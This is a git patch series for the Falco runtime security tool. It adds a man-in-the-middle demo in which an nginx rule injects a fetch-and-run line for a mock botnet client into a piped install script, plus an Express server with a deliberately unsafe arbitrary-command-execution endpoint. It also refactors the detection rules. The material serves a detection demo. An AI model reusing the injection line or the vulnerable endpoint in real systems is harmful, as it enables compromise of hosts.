From 139ee56af726811cb5888511362dc454762c865e Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@sysdig.com>
Date: Mon, 6 Jun 2016 10:56:35 -0700
Subject: [PATCH 01/17] Docker-compose environment for mitm example.

Adding docker-compose based example of man-in-the-middle attack against
installation scripts and how it can be detected using sysdig falco.

The docker-compose environment starts a good web server, compromised
nginx installation, evil web server, and a copy of sysdig falco. The
README walks through the process of compromising a client by using curl
http://localhost/get-software.sh | bash and detecting the compromise
using ./fbash.

The fbash program included in this example fixes https://github.com/draios/falco/issues/46.
---
 examples/mitm-sh-installer/README.md          |  78 +++++++++
 examples/mitm-sh-installer/botnet_master.sh   |   7 +
 examples/mitm-sh-installer/demo.yml           |  51 ++++++
 .../evil_web_root/botnet_client.py            |  18 ++
 examples/mitm-sh-installer/fbash              |  15 ++
 examples/mitm-sh-installer/nginx.conf         |  12 ++
 .../web_root/install-software.sh              | 156 ++++++++++++++++++
 rules/falco_rules.yaml                        |   4 +-
 8 files changed, 339 insertions(+), 2 deletions(-)
 create mode 100644 examples/mitm-sh-installer/README.md
 create mode 100755 examples/mitm-sh-installer/botnet_master.sh
 create mode 100644 examples/mitm-sh-installer/demo.yml
 create mode 100644 examples/mitm-sh-installer/evil_web_root/botnet_client.py
 create mode 100755 examples/mitm-sh-installer/fbash
 create mode 100644 examples/mitm-sh-installer/nginx.conf
 create mode 100644 examples/mitm-sh-installer/web_root/install-software.sh

diff --git a/examples/mitm-sh-installer/README.md b/examples/mitm-sh-installer/README.md
new file mode 100644
index 00000000..4d6124da
--- /dev/null
+++ b/examples/mitm-sh-installer/README.md
@@ -0,0 +1,78 @@
+#Demo of falco with man-in-the-middle attacks on installation scripts
+
+For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
+
+## Demo architecture
+
+### Initial setup
+
+Make sure no prior `botnet_client.py` processes are lying around.
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
+* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
+* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
+* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
+* falco: will detect the activities of botnet_client.py.
+
+### Download `install-software.sh`, see botnet client running
+
+Run the following to fetch and execute the installation script,
+which also installs the botnet client:
+
+```
+$ curl http://localhost/install-software.sh | bash
+```
+
+You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
+
+Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
+
+```
+$ ps auxww  | grep python
+...
+root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
+
+$ telnet localhost 1234
+Trying ::1...
+Trying 127.0.0.1...
+Connected to localhost.
+Escape character is '^]'.
+```
+
+You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
+
+```
+attacker_botnet_master | Trying to contact compromised machine...
+attacker_botnet_master | Waiting for botnet command and control commands...
+attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
+attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
+```
+
+At this point, kill the botnet_client.py process to clean things up.
+
+### Run installation script again using `fbash`, note falco warnings.
+
+If you run the installation script again:
+
+```
+curl http://localhost/install-software.sh | ./fbash
+```
+
+In the docker-compose output, you'll see the following falco warnings:
+
+```
+falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
+falco                  | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
+falco                  | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
+falco                  | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+falco                  | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
+```
diff --git a/examples/mitm-sh-installer/botnet_master.sh b/examples/mitm-sh-installer/botnet_master.sh
new file mode 100755
index 00000000..e62a6718
--- /dev/null
+++ b/examples/mitm-sh-installer/botnet_master.sh
@@ -0,0 +1,7 @@
+#!/bin/sh
+
+while true; do
+    echo "Trying to contact compromised machine..."
+    echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
+    sleep 5
+done
diff --git a/examples/mitm-sh-installer/demo.yml b/examples/mitm-sh-installer/demo.yml
new file mode 100644
index 00000000..095af948
--- /dev/null
+++ b/examples/mitm-sh-installer/demo.yml
@@ -0,0 +1,51 @@
+# Owned by software vendor, serving install-software.sh.
+apache:
+  container_name: apache
+  image: httpd:2.4
+  volumes:
+        - ${PWD}/web_root:/usr/local/apache2/htdocs
+
+# Owned by software vendor, compromised by attacker.
+nginx:
+  container_name: mitm_nginx
+  image: nginx:latest
+  links:
+    - apache
+  ports:
+      - "80:80"
+  volumes:
+        - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
+
+# Owned by attacker.
+evil_apache:
+  container_name: evil_apache
+  image: httpd:2.4
+  volumes:
+        - ${PWD}/evil_web_root:/usr/local/apache2/htdocs
+  ports:
+      - "9090:80"
+
+# Owned by attacker, constantly trying to contact client.
+attacker_botnet_master:
+  container_name: attacker_botnet_master
+  image: alpine:latest
+  net: host
+  volumes:
+    - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
+  command:
+    - /tmp/botnet_master.sh
+
+# Owned by client, detects attack by attacker
+falco:
+  container_name: falco
+  image: sysdig/falco:latest
+  privileged: true
+  volumes:
+    - /var/run/docker.sock:/host/var/run/docker.sock
+    - /dev:/host/dev
+    - /proc:/host/proc:ro
+    - /boot:/host/boot:ro
+    - /lib/modules:/host/lib/modules:ro
+    - /usr:/host/usr:ro
+    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+  tty: true
diff --git a/examples/mitm-sh-installer/evil_web_root/botnet_client.py b/examples/mitm-sh-installer/evil_web_root/botnet_client.py
new file mode 100644
index 00000000..6c60c4e8
--- /dev/null
+++ b/examples/mitm-sh-installer/evil_web_root/botnet_client.py
@@ -0,0 +1,18 @@
+import socket;
+import signal;
+import os;
+
+os.close(0);
+os.close(1);
+os.close(2);
+
+signal.signal(signal.SIGINT,signal.SIG_IGN);
+serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+serversocket.bind(('0.0.0.0', 1234))
+serversocket.listen(5);
+while 1:
+    (clientsocket, address) = serversocket.accept();
+    clientsocket.send('Waiting for botnet command and control commands...\n');
+    command = clientsocket.recv(1024)
+    clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
+    clientsocket.close()
diff --git a/examples/mitm-sh-installer/fbash b/examples/mitm-sh-installer/fbash
new file mode 100755
index 00000000..1613c8ab
--- /dev/null
+++ b/examples/mitm-sh-installer/fbash
@@ -0,0 +1,15 @@
+#!/bin/bash
+
+SID=`ps --no-heading -o sess --pid $$`
+
+if [ $SID -ne $$ ]; then
+    # Not currently a session leader? Run a copy of ourself in a new
+    # session, with copies of stdin/stdout/stderr.
+    setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
+    FBASH=$!
+    trap "kill $FBASH; exit" SIGINT SIGTERM
+    wait $FBASH
+else
+    # Just evaluate the commands (from stdin)
+    source /dev/stdin
+fi
diff --git a/examples/mitm-sh-installer/nginx.conf b/examples/mitm-sh-installer/nginx.conf
new file mode 100644
index 00000000..34e93600
--- /dev/null
+++ b/examples/mitm-sh-installer/nginx.conf
@@ -0,0 +1,12 @@
+http {
+    server {
+        location / {
+            sub_filter_types '*';
+            sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
+            sub_filter_once off;
+            proxy_pass http://apache:80;
+        }
+    }
+}
+events {
+}
diff --git a/examples/mitm-sh-installer/web_root/install-software.sh b/examples/mitm-sh-installer/web_root/install-software.sh
new file mode 100644
index 00000000..821bf09e
--- /dev/null
+++ b/examples/mitm-sh-installer/web_root/install-software.sh
@@ -0,0 +1,156 @@
+#!/bin/bash
+#
+# Copyright (C) 2013-2014 My Company inc.
+#
+# This file is part of my-software
+#
+# my-software is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation.
+#
+# my-software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with my-software.  If not, see <http://www.gnu.org/licenses/>.
+#
+set -e
+
+function install_rpm {
+	if ! hash curl > /dev/null 2>&1; then
+		echo "* Installing curl"
+		yum -q -y install curl
+	fi
+
+	echo "*** Installing my-software public key"
+	# A rpm --import command would normally be here
+
+	echo "*** Installing my-software repository"
+	# A curl path-to.repo <some url> would normally be here
+
+	echo "*** Installing my-software"
+	# A yum -q -y install my-software command would normally be here
+
+	echo "*** my-software Installed!"
+}
+
+function install_deb {
+	export DEBIAN_FRONTEND=noninteractive
+
+	if ! hash curl > /dev/null 2>&1; then
+		echo "* Installing curl"
+		apt-get -qq -y install curl < /dev/null
+	fi
+
+	echo "*** Installing my-software public key"
+	# A curl <url> | apt-key add - command would normally be here
+
+	echo "*** Installing my-software repository"
+	# A curl path-to.list <some url> would normally be here
+
+	echo "*** Installing my-software"
+	# An apt-get -qq -y install my-software command would normally be here
+
+	echo "*** my-software Installed!"
+}
+
+function unsupported {
+	echo 'Unsupported operating system. Please consider writing to the mailing list at'
+	echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
+	echo 'installation.'
+	exit 1
+}
+
+if [ $(id -u) != 0 ]; then
+	echo "Installer must be run as root (or with sudo)."
+#	exit 1
+fi
+
+echo "* Detecting operating system"
+
+ARCH=$(uname -m)
+if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
+	unsupported
+fi
+
+if [ -f /etc/debian_version ]; then
+	if [ -f /etc/lsb-release ]; then
+		. /etc/lsb-release
+		DISTRO=$DISTRIB_ID
+		VERSION=${DISTRIB_RELEASE%%.*}
+	else
+		DISTRO="Debian"
+		VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
+	fi
+
+	case "$DISTRO" in
+
+		"Ubuntu")
+			if [ $VERSION -ge 10 ]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		"LinuxMint")
+			if [ $VERSION -ge 9 ]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		"Debian")
+			if [ $VERSION -ge 6 ]; then
+				install_deb
+			elif [[ $VERSION == *sid* ]]; then
+				install_deb
+			else
+				unsupported
+			fi
+			;;
+
+		*)
+			unsupported
+			;;
+
+	esac
+
+elif [ -f /etc/system-release-cpe ]; then
+	DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
+	VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
+
+	case "$DISTRO" in
+
+		"oracle" | "centos" | "redhat")
+			if [ $VERSION -ge 6 ]; then
+				install_rpm
+			else
+				unsupported
+			fi
+			;;
+
+		"amazon")
+			install_rpm
+			;;
+
+		"fedoraproject")
+			if [ $VERSION -ge 13 ]; then
+				install_rpm
+			else
+				unsupported
+			fi
+			;;
+
+		*)
+			unsupported
+			;;
+
+	esac
+
+else
+	unsupported
+fi
diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 9b5c6097..038c6a42 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -37,7 +37,7 @@
 
 - macro: modify
   condition: rename or remove
-  
+
 - macro: spawned_process
   condition: evt.type = execve and evt.dir=<
 
@@ -320,7 +320,7 @@
 # (we may need to add additional checks against false positives, see: https://bugs.launchpad.net/ubuntu/+source/rkhunter/+bug/86153)
 - rule: create_files_below_dev
   desc: creating any files below /dev other than known programs that manage devices. Some rootkits hide files in /dev.
-  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null
+  condition: (evt.type = creat or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and not fd.name in (/dev/null,/dev/stdin,/dev/stdout,/dev/stderr)
   output: "File created below /dev by untrusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 

From 8426117ffd0fe1f2342218eaf6e427fb4a116587 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@gmail.com>
Date: Tue, 28 Jun 2016 13:42:21 -0700
Subject: [PATCH 02/17] Add jq library.

JQ was added to sysdig in
https://github.com/draios/sysdig/commit/20c20fc3a1afe21cfd9ef9a752c0efbcf55471d3,
so add it to the falco build.
---
 CMakeLists.txt | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/CMakeLists.txt b/CMakeLists.txt
index a8ade60c..b0809137 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -58,6 +58,18 @@ ExternalProject_Add(zlib
 		BUILD_IN_SOURCE 1
 		INSTALL_COMMAND "")
 
+set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq")
+message(STATUS "Using bundled jq in '${JQ_SRC}'")
+set(JQ_INCLUDE "${JQ_SRC}")
+set(JQ_LIB "${JQ_SRC}/.libs/libjq.a")
+ExternalProject_Add(jq
+                URL "http://download.draios.com/dependencies/jq-1.5.tar.gz"
+                URL_MD5 "0933532b086bd8b6a41c1b162b1731f9"
+                CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking
+                BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static
+                BUILD_IN_SOURCE 1
+                INSTALL_COMMAND "")
+
 set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp")
 set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
 set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
@@ -103,6 +115,7 @@ ExternalProject_Add(yamlcpp
 
 set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl")
 set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target")
+set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include")
 set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a")
 set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a")
 

From 4a941df78788584ca8529ae0b92e850565f4ba4f Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@gmail.com>
Date: Thu, 7 Jul 2016 15:35:11 -0700
Subject: [PATCH 03/17] Example showing running bash via a bad rest api.

Simple docker-compose environment that starts a simple express server
with a poorly-designed /api/exec/<cmd> endpoint that executes arbitrary
commands, and uses falco to detect running bash.
---
 examples/nodejs-bad-rest-api/README.md    | 66 +++++++++++++++++++++++
 examples/nodejs-bad-rest-api/demo.yml     | 24 +++++++++
 examples/nodejs-bad-rest-api/package.json |  7 +++
 examples/nodejs-bad-rest-api/server.js    | 25 +++++++++
 4 files changed, 122 insertions(+)
 create mode 100644 examples/nodejs-bad-rest-api/README.md
 create mode 100644 examples/nodejs-bad-rest-api/demo.yml
 create mode 100644 examples/nodejs-bad-rest-api/package.json
 create mode 100644 examples/nodejs-bad-rest-api/server.js

diff --git a/examples/nodejs-bad-rest-api/README.md b/examples/nodejs-bad-rest-api/README.md
new file mode 100644
index 00000000..fb254a97
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/README.md
@@ -0,0 +1,66 @@
+#Demo of falco with bash exec via poorly designed REST API.
+
+## Introduction
+
+This example shows how a server could have a poorly designed API that
+allowed a client to execute arbitrary programs on the server, and how
+that behavior can be detected using Sysdig Falco.
+
+`server.js` in this directory defines the server. The poorly designed
+API is this route handler:
+
+```javascript
+router.get('/exec/:cmd', function(req, res) {
+    var output = child_process.execSync(req.params.cmd);
+    res.send(output);
+});
+
+app.use('/api', router);
+```
+
+It blindly takes the url portion after `/api/exec/<cmd>` and tries to
+execute it. A horrible design choice(!), but allows us to easily show
+Sysdig falco's capabilities.
+
+## Demo architecture
+
+### Start everything using docker-compose
+
+From this directory, run the following:
+
+```
+$ docker-compose -f demo.yml up
+```
+
+This starts the following containers:
+
+* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
+* falco: will detect when you execute a shell via the express server.
+
+### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
+
+Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
+
+```
+$ curl http://localhost:8080/api/exec/ls
+
+demo.yml
+node_modules
+package.json
+README.md
+server.js
+```
+
+```
+$ curl http://localhost:8080/api/exec/pwd
+
+.../examples/nodejs-bad-rest-api
+```
+
+### Try to run bash via `/api/exec/bash`, falco sends alert.
+
+If you try to run bash via `/api/exec/bash`, falco will generate an alert:
+
+```
+falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
+```
diff --git a/examples/nodejs-bad-rest-api/demo.yml b/examples/nodejs-bad-rest-api/demo.yml
new file mode 100644
index 00000000..a826ab6e
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/demo.yml
@@ -0,0 +1,24 @@
+# Owned by software vendor, serving install-software.sh.
+express_server:
+  container_name: express_server
+  image: node:latest
+  working_dir: /usr/src/app
+  command: bash -c "npm install && node server.js"
+  ports:
+    - "8080:8080"
+  volumes:
+        - ${PWD}:/usr/src/app
+
+falco:
+  container_name: falco
+  image: sysdig/falco:latest
+  privileged: true
+  volumes:
+    - /var/run/docker.sock:/host/var/run/docker.sock
+    - /dev:/host/dev
+    - /proc:/host/proc:ro
+    - /boot:/host/boot:ro
+    - /lib/modules:/host/lib/modules:ro
+    - /usr:/host/usr:ro
+    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
+  tty: true
diff --git a/examples/nodejs-bad-rest-api/package.json b/examples/nodejs-bad-rest-api/package.json
new file mode 100644
index 00000000..7eb28410
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/package.json
@@ -0,0 +1,7 @@
+{
+    "name": "bad-rest-api",
+    "main": "server.js",
+    "dependencies": {
+	"express": "~4.0.0"
+    }
+}
diff --git a/examples/nodejs-bad-rest-api/server.js b/examples/nodejs-bad-rest-api/server.js
new file mode 100644
index 00000000..bb437302
--- /dev/null
+++ b/examples/nodejs-bad-rest-api/server.js
@@ -0,0 +1,25 @@
+var express    = require('express');        // call express
+var app        = express();                 // define our app using express
+var child_process = require('child_process');
+
+var port = process.env.PORT || 8080;        // set our port
+
+// ROUTES FOR OUR API
+// =============================================================================
+var router = express.Router();              // get an instance of the express Router
+
+// test route to make sure everything is working (accessed at GET http://localhost:8080/api)
+router.get('/', function(req, res) {
+    res.json({ message: 'API available'});
+});
+
+router.get('/exec/:cmd', function(req, res) {
+    var output = child_process.execSync(req.params.cmd);
+    res.send(output);
+});
+
+app.use('/api', router);
+
+app.listen(port);
+console.log('Server running on port: ' + port);
+

From 502941b804ae724dc05635f0850d2c079a9e5e64 Mon Sep 17 00:00:00 2001
From: Mark Stemm <mark.stemm@gmail.com>
Date: Fri, 8 Jul 2016 09:31:17 -0700
Subject: [PATCH 04/17] Add list support to rules file.

Once sysdig adds support for handling "in (...)" filter expressions as
set membership tests, it will be advantageous to combine lists of items
together into a single list so they can all be checked in a single set
membership test.

This commit adds support for a new yaml item type "list" containing a
field "name" and field "items" containing a list of items. These are
represented as a yaml list, which allows yaml to handle some of the
initial parsing with the list items maintained natively in lua.

Allow lists to contain list references by expanding any references to
the items in the list, before storing the list items in
state.lists.

When parsing macro or rule conditions, replace all references to a list
name with the list items as a comma separated string.

Modify the falco rules to switch to lists whenever possible. The
new convention is to use the suffix _binaries for lists of program names
and _procs for macros that define a filter expression using the list.
---
 rules/falco_rules.yaml              | 122 ++++++++++++++--------------
 userspace/falco/lua/compiler.lua    |  14 +++-
 userspace/falco/lua/rule_loader.lua |  25 +++++-
 3 files changed, 94 insertions(+), 67 deletions(-)

diff --git a/rules/falco_rules.yaml b/rules/falco_rules.yaml
index 038c6a42..9ceb318a 100644
--- a/rules/falco_rules.yaml
+++ b/rules/falco_rules.yaml
@@ -68,76 +68,76 @@
 - macro: linux_so_dirs
   condition: ubuntu_so_dirs or centos_so_dirs or fd.name=/etc/ld.so.cache
 
-- macro: coreutils_binaries
-  condition: >
-    proc.name in (truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
+- list: coreutils_binaries
+  items: [
+    truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
     groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
-    basename, split, nice, yes, whoami, sha224sum, hostid, users, stdbuf,
+    basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
     base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
     comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
     tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
-    tail, [, seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
-    tac, link, chroot, vdir, chown, touch, ls, dd, uname, true, pwd, date,
-    chgrp, chmod, mktemp, cat, mknod, sync, ln, false, rm, mv, cp, echo,
-    readlink, sleep, stty, mkdir, df, dir, rmdir, touch)
+    tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
+    tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
+    chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
+    readlink, sleep, stty, mkdir, df, dir, rmdir, touch
+    ]
 
 # dpkg -L login | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- macro: login_binaries
-  condition: proc.name in (login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg)
+- list: login_binaries
+  items: [login, systemd-logind, su, nologin, faillog, lastlog, newgrp, sg]
 
 # dpkg -L passwd | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- macro: passwd_binaries
-  condition: >
-    proc.name in (shadowconfig, grpck, pwunconv, grpconv, pwck,
+- list: passwd_binaries
+  items: [
+    shadowconfig, grpck, pwunconv, grpconv, pwck,
     groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
     groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
-    gpasswd, chfn, expiry, passwd, vigr, cpgr)
+    gpasswd, chfn, expiry, passwd, vigr, cpgr
+    ]
 
 # repoquery -l shadow-utils | grep bin | xargs ls -ld | grep -v '^d' | awk '{print $9}' | xargs -L 1 basename | tr "\\n" ","
-- macro: shadowutils_binaries
-  condition: >
-    proc.name in (chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
+- list: shadowutils_binaries
+  items: [
+    chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
     groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
-    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd)
+    newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
+    ]
 
-- macro: sysdigcloud_binaries
-  condition: proc.name in (setup-backend, dragent)
+- list: sysdigcloud_binaries
+  items: [setup-backend, dragent]
 
-- macro: sysdigcloud_binaries_parent
-  condition: proc.pname in (setup-backend, dragent)
+- list: docker_binaries
+  items: [docker, exe]
 
-- macro: docker_binaries
-  condition: proc.name in (docker, exe)
+- list: http_server_binaries
+  items: [nginx, httpd, httpd-foregroun, lighttpd]
 
-- macro: http_server_binaries
-  condition: proc.name in (nginx, httpd, httpd-foregroun, lighttpd)
+- list: db_server_binaries
+  items: [mysqld]
 
-- macro: db_server_binaries
-  condition: proc.name in (mysqld)
-
-- macro: db_server_binaries_parent
-  condition: proc.pname in (mysqld)
-
-- macro: server_binaries
-  condition: (http_server_binaries or db_server_binaries or docker_binaries or proc.name in (sshd))
+- macro: server_procs
+  condition: proc.name in (http_server_binaries, db_server_binaries, docker_binaries, sshd)
 
 # The truncated dpkg-preconfigu is intentional, process names are
 # truncated at the sysdig level.
-- macro: package_mgmt_binaries
-  condition: proc.name in (dpkg, dpkg-preconfigu, rpm, rpmkey, yum)
+- list: package_mgmt_binaries
+  items: [dpkg, dpkg-preconfigu, rpm, rpmkey, yum]
+
+- macro: package_mgmt_procs
+  condition: proc.name in (package_mgmt_binaries)
 
 # A canonical set of processes that run other programs with different
 # privileges or as a different user.
-- macro: userexec_binaries
-  condition: proc.name in (sudo, su)
+- list: userexec_binaries
+  items: [sudo, su]
 
-- macro: user_mgmt_binaries
-  condition: (login_binaries or passwd_binaries or shadowutils_binaries)
+- list: user_mgmt_binaries
+  items: [login_binaries, passwd_binaries, shadowutils_binaries]
 
-- macro: system_binaries
-  condition: (coreutils_binaries or user_mgmt_binaries)
+- macro: system_procs
+  condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
 
-- macro: mail_binaries
+- macro: mail_procs
   condition: proc.name in (sendmail, sendmail-msp, postfix, procmail)
 
 - macro: sensitive_files
@@ -172,10 +172,8 @@
   condition: ((proc.aname=sshd and proc.name != sshd) or proc.name=systemd-logind)
 - macro: syslog
   condition: fd.name in (/dev/log, /run/systemd/journal/syslog)
-- macro: cron
-  condition: proc.name in (cron, crond)
-- macro: parent_cron
-  condition: proc.pname in (cron, crond)
+- list: cron_binaries
+  items: [cron, crond]
 
 # System users that should never log into a system. Consider adding your own
 # service users (e.g. 'apache' or 'mysqld') here.
@@ -189,32 +187,32 @@
 
 - rule: write_binary_dir
   desc: an attempt to write to any file below a set of binary directories
-  condition: evt.dir = < and open_write and not package_mgmt_binaries and bin_dir
+  condition: evt.dir = < and open_write and not package_mgmt_procs and bin_dir
   output: "File below a known binary directory opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 - rule: write_etc
   desc: an attempt to write to any file below /etc, not in a pipe installer session
-  condition: evt.dir = < and open_write and not shadowutils_binaries and not sysdigcloud_binaries_parent and not package_mgmt_binaries and etc_dir and not proc.sname=fbash
+  condition: evt.dir = < and open_write and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries) and etc_dir and not proc.pname in (sysdigcloud_binaries) and not proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 # Within a fbash session, the severity is lowered to INFO
 - rule: write_etc_installer
   desc: an attempt to write to any file below /etc, in a pipe installer session
-  condition: evt.dir = < and open_write and not shadowutils_binaries and not sysdigcloud_binaries_parent and not package_mgmt_binaries and etc_dir and proc.sname=fbash
+  condition: evt.dir = < and open_write and not proc.name in (shadowutils_binaries, sysdigcloud_binaries, package_mgmt_binaries) and etc_dir and not proc.pname in (sysdigcloud_binaries) and proc.sname=fbash
   output: "File below /etc opened for writing (user=%user.name command=%proc.cmdline file=%fd.name) within pipe installer session"
   priority: INFO
 
 - rule: read_sensitive_file_untrusted
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information). Exceptions are made for known trusted programs.
-  condition: open_read and not user_mgmt_binaries and not userexec_binaries and not proc.name in (iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and not cron and sensitive_files
+  condition: open_read and not proc.name in (user_mgmt_binaries, userexec_binaries, cron_binaries, iptables, ps, lsb_release, check-new-relea, dumpe2fs, accounts-daemon, bash, sshd) and sensitive_files
   output: "Sensitive file opened for reading by non-trusted program (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
 - rule: read_sensitive_file_trusted_after_startup
   desc: an attempt to read any sensitive file (e.g. files containing user/password/authentication information) by a trusted program after startup. Trusted programs might read these files at startup to load initial state, but not afterwards.
-  condition: open_read and server_binaries and not proc_is_new and sensitive_files and proc.name!="sshd"
+  condition: open_read and server_procs and not proc_is_new and sensitive_files and proc.name!="sshd"
   output: "Sensitive file opened for reading by trusted program after startup (user=%user.name command=%proc.cmdline file=%fd.name)"
   priority: WARNING
 
@@ -227,19 +225,19 @@
 
 - rule: db_program_spawned_process
   desc: a database-server related program spawned a new process other than itself. This shouldn\'t occur and is a follow on from some SQL injection attacks.
-  condition: db_server_binaries_parent and not db_server_binaries and spawned_process
+  condition: proc.pname in (db_server_binaries) and not proc.name in (db_server_binaries) and spawned_process
   output: "Database-related program spawned process other than itself (user=%user.name program=%proc.cmdline parent=%proc.pname)"
   priority: WARNING
 
 - rule: modify_binary_dirs
   desc: an attempt to modify any file below a set of binary directories.
-  condition: modify and bin_dir_rename and not package_mgmt_binaries
+  condition: modify and bin_dir_rename and not package_mgmt_procs
   output: "File below known binary directory renamed/removed (user=%user.name command=%proc.cmdline operation=%evt.type file=%fd.name %evt.args)"
   priority: WARNING
 
 - rule: mkdir_binary_dirs
